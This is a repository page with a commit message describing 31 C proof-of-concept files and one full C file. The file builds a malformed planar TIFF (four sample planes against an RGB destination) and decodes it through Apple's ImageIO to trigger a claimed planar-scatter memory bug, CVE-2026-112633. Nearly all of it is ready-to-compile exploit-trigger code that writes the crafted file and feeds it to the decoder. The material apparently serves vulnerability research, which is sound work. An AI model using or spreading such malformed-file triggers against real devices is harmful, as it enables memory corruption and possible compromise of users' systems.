- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
167 lines
7.3 KiB
C
167 lines
7.3 KiB
C
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633
|
||
// Planar configuration scatter past the destination row
|
||
// C twin of the Swift POC: builds the 4-plane/3-channel TIFF and decodes it through ImageIO.
|
||
// Variant iio.pdf.raster (oversized MediaBox rasterization) is noted in the Swift POC.
|
||
// Build: clang -O2 -o cve-2026-112633 CVE-2026-112633.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
||
// Run: ./cve-2026-112633 [spp]
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
|
||
// ── byte buffer ──
|
||
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
||
static void bneed(buf *b, size_t extra) {
|
||
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
||
}
|
||
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
||
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
||
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
||
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
||
|
||
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
|
||
static void le32(buf *b, uint32_t v) {
|
||
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
||
}
|
||
|
||
// ── seed construction (from Cinder27 Sources: TIFFPayload.planarScatter) ──
|
||
// Photometric=RGB gives a 3-channel destination row; SamplesPerPixel=4 with
|
||
// PlanarConfiguration=2 makes the 4th plane scatter past it.
|
||
static buf tiff_planar_scatter(int width, int height, int spp, uint16_t photometric) {
|
||
size_t strip_bytes = (size_t)width * height;
|
||
|
||
// deterministic layout: IFD at 8, BitsPerSample blob, StripOffsets blob, plane data
|
||
size_t ifd_size = 2 + 10 * 12 + 4;
|
||
size_t extra_offset = 8 + ifd_size;
|
||
if (extra_offset % 2) extra_offset++;
|
||
size_t bits_offset = extra_offset;
|
||
size_t offsets_blob_offset = bits_offset + (size_t)spp * 2;
|
||
size_t strip_base = offsets_blob_offset + (size_t)spp * 4;
|
||
|
||
uint8_t bits[8] = {0}; // up to 4 planes × le16(8)
|
||
for (int i = 0; i < spp && i < 4; i++) { bits[i * 2] = 8; bits[i * 2 + 1] = 0; }
|
||
|
||
uint8_t strip_offsets[16] = {0}; // up to 4 × le32
|
||
for (int i = 0; i < spp && i < 4; i++) {
|
||
uint32_t v = (uint32_t)(strip_base + (size_t)i * strip_bytes);
|
||
strip_offsets[i * 4] = v & 0xff;
|
||
strip_offsets[i * 4 + 1] = (v >> 8) & 0xff;
|
||
strip_offsets[i * 4 + 2] = (v >> 16) & 0xff;
|
||
strip_offsets[i * 4 + 3] = (v >> 24) & 0xff;
|
||
}
|
||
|
||
uint8_t counts[16] = {0}; // up to 4 × le32 strip byte counts
|
||
for (int i = 0; i < spp && i < 4; i++) {
|
||
uint32_t v = (uint32_t)strip_bytes;
|
||
counts[i * 4] = v & 0xff;
|
||
counts[i * 4 + 1] = (v >> 8) & 0xff;
|
||
counts[i * 4 + 2] = (v >> 16) & 0xff;
|
||
counts[i * 4 + 3] = (v >> 24) & 0xff;
|
||
}
|
||
|
||
uint8_t v256[4] = {(uint8_t)width, (uint8_t)(width >> 8), (uint8_t)(width >> 16), (uint8_t)(width >> 24)};
|
||
uint8_t v257[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
|
||
uint8_t v258c[4] = {0}; // placeholder for the 2-byte tag 258 inline field
|
||
uint8_t v259[2] = {1, 0}; // compression none
|
||
uint8_t v262[2] = {(uint8_t)photometric, (uint8_t)(photometric >> 8)};
|
||
uint8_t v273c[4] = {0}; // placeholder — real value is the blob offset
|
||
uint8_t v277[2] = {(uint8_t)spp, (uint8_t)(spp >> 8)};
|
||
uint8_t v278[4] = {(uint8_t)height, (uint8_t)(height >> 8), (uint8_t)(height >> 16), (uint8_t)(height >> 24)};
|
||
uint8_t v284[2] = {2, 0}; // PlanarConfiguration = 2 (planar)
|
||
|
||
// tag-sorted IFD entries; the two >4-byte values are carried by blobs
|
||
// tag 258 (BitsPerSample, count=spp) — blob at bits_offset
|
||
// tag 273 (StripOffsets, count=spp) — blob at offsets_blob_offset
|
||
// tag 279 (StripByteCounts, count=spp) — blob, appended after 273
|
||
buf out = {0};
|
||
bcat(&out, "II\x2a\x00", 4);
|
||
le32(&out, 8);
|
||
le16(&out, 10);
|
||
struct { uint16_t tag, type; uint32_t count; uint32_t val; } e[10] = {
|
||
{256, 4, 1, 0}, {257, 4, 1, 0},
|
||
{258, 3, (uint32_t)spp, (uint32_t)bits_offset},
|
||
{259, 3, 1, 0}, {262, 3, 1, 0},
|
||
{273, 4, (uint32_t)spp, (uint32_t)offsets_blob_offset},
|
||
{277, 3, 1, 0}, {278, 4, 1, 0},
|
||
{279, 4, (uint32_t)spp, (uint32_t)(offsets_blob_offset + (size_t)spp * 4)},
|
||
{284, 3, 1, 0},
|
||
};
|
||
// inline values for the scalar entries
|
||
uint32_t scalars[10] = {0};
|
||
memcpy(&scalars[0], v256, 4);
|
||
memcpy(&scalars[1], v257, 4);
|
||
// 258: blob
|
||
memcpy(&scalars[3], v259, 2); // zero-padded inline
|
||
memcpy(&scalars[4], v262, 2);
|
||
// 273: blob
|
||
memcpy(&scalars[6], v277, 2);
|
||
memcpy(&scalars[7], v278, 4);
|
||
// 279: blob
|
||
memcpy(&scalars[9], v284, 2);
|
||
(void)v258c; (void)v273c;
|
||
for (int i = 0; i < 10; i++) {
|
||
le16(&out, e[i].tag);
|
||
le16(&out, e[i].type);
|
||
le32(&out, e[i].count);
|
||
if (e[i].tag == 258 || e[i].tag == 273 || e[i].tag == 279) {
|
||
le32(&out, e[i].val); // blob offset
|
||
} else {
|
||
le32(&out, scalars[i]);
|
||
}
|
||
}
|
||
le32(&out, 0); // next IFD
|
||
if (out.n < extra_offset) brep(&out, 0, extra_offset - out.n);
|
||
bcat(&out, bits, (size_t)spp * 2); // 258 blob
|
||
bcat(&out, strip_offsets, (size_t)spp * 4); // 273 blob
|
||
bcat(&out, counts, (size_t)spp * 4); // 279 blob
|
||
if (out.n < strip_base) brep(&out, 0, strip_base - out.n);
|
||
for (int plane = 0; plane < spp; plane++) {
|
||
brep(&out, (uint8_t)(0x40 + plane * 0x20), strip_bytes);
|
||
}
|
||
return out;
|
||
}
|
||
|
||
// ── trigger: decode through ImageIO ──
|
||
#include <ImageIO/ImageIO.h>
|
||
#include <CoreGraphics/CoreGraphics.h>
|
||
#include <CoreFoundation/CoreFoundation.h>
|
||
|
||
static int decode_image(const buf *img, const char **detail) {
|
||
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
|
||
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
||
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
|
||
CFRelease(cf);
|
||
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
|
||
size_t frames = CGImageSourceGetCount(src);
|
||
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
|
||
static char r[256];
|
||
if (cg) {
|
||
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
|
||
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
|
||
CGImageRelease(cg);
|
||
} else {
|
||
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
|
||
}
|
||
CFRelease(src);
|
||
*detail = r;
|
||
return cg ? 0 : -1;
|
||
}
|
||
|
||
int main(int argc, char **argv) {
|
||
int width = 64, height = 64;
|
||
int spp = argc > 1 ? atoi(argv[1]) : 4;
|
||
if (spp < 1) spp = 1; if (spp > 4) spp = 4;
|
||
|
||
buf tiff = tiff_planar_scatter(width, height, spp, 2);
|
||
FILE *f = fopen("planar_scatter.tif", "wb");
|
||
if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }
|
||
|
||
const char *detail = NULL;
|
||
int rc = decode_image(&tiff, &detail);
|
||
printf("CVE-2026-112633 · %dx%d RGB destination, %d planes (planar) · %s\n",
|
||
width, height, spp, detail ? detail : "?");
|
||
printf("seed: planar_scatter.tif (%zu B) · exit code %d\n", tiff.n, rc);
|
||
bfree(&tiff);
|
||
return rc == 0 ? 0 : 1;
|
||
}
|